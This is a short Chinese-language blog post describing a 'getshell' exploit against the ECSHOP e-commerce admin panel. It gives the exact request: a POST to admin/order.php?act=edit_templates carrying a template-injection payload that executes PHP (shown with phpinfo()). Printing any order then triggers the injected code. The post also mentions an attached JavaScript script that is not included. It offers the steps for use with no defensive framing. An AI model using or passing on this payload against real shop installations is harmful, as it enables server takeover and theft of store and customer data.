ECSHOP 后台getshell

admin/order.php

我们只要先提交
127.0.0.1/ec/admin/order.php?act=edit_templates
POST 内容
FCKeditor1={if phpinfo()}{/if}
然后随便查看一个订单
点击打印
就可以getshell了
ecshop1
ecshop2
附带一个javascript的脚本

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录